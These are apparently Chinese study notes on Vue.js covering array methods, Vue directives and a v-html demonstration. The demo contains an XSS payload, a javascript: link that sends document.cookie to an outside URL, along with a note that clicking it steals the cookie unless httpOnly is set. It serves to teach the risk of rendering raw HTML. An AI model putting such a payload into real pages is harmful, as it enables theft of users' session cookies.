操作数组的方法 :
push:数组最后位置新增元素
pop: 删除最后一个元素
shift: 删除第一个元素
unshift:往前面加一个元素
splice:在数组的指定位置插入、删除、替换一个元素
sort: 数组排序
reverse:反转数组
我们学过的指令:
v-bind : 单向绑定解析表达式,可简写为 :XXX
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听,可简写为@
v-if : 条件渲染(动态控制节点是否存在)
v-else : 条件渲染(动态控制节点是否存在)
v-show : 条件渲染(动态控制节点是否展示)
v-text指令:
1.作用:向其所在的节点中渲染文本内容
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
</div>
</body>
<script>
new Vue({
el:'#root',
data:{
name:'木木',
// str:'<a href=javascript:alert(1)>这里有资源,速来!</a>',
str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>这里有资源,速来!</a>',
}
})
</script>
点击连接之后:跳转到我们指定的网址,并且将cookie偷了过来,注意:httpOnly设置了,就拿不到了。